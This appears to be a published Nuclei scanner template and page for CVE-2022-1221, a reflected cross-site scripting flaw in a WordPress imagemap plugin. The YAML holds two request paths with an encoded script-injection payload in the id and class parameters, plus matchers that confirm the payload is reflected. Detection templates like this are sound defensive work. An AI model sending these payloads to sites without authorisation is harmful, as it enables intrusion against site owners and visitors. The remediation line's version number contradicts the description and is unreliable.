WordPress Gwyn's Imagemap Selector <=0.3.3 - Cross-Site Scripting

ID: CVE-2022-1221

Severity: medium

Author: veshraj

Tags: cve,cve2022,wpscan,xss,wordpress,wp-plugin,wp,gwyn\'s_imagemap_selector_project

Description

Wordpress Gwyn’s Imagemap Selector plugin 0.3.3 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize the id and class parameters before returning them back in attributes.

YAML Source

id: CVE-2022-1221

info:
  name: WordPress Gwyn's Imagemap Selector <=0.3.3 - Cross-Site Scripting
  author: veshraj
  severity: medium
  description: |
    Wordpress Gwyn's Imagemap Selector plugin 0.3.3 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize the id and class parameters before returning them back in attributes.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Gwyn's Imagemap Selector plugin (0.3.3) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/641be9f6-2f74-4386-b16e-4b9488f0d2a9
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1221
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1221
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1221
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43227
    cpe: cpe:2.3:a:gwyn\'s_imagemap_selector_project:gwyn\'s_imagemap_selector:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gwyn\'s_imagemap_selector_project
    product: gwyn\'s_imagemap_selector
    framework: wordpress
  tags: cve,cve2022,wpscan,xss,wordpress,wp-plugin,wp,gwyn\'s_imagemap_selector_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1&class=%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script> popup-"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206bbcd1c2595d971b8ead937e3474922372d9d127ab66bd1fed5c16110ea6a1ec022100ced212540f206d9ab7cfe4e1194f9bf876f210d1d46261e66d30b463bc6534ac:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-1221.yaml"

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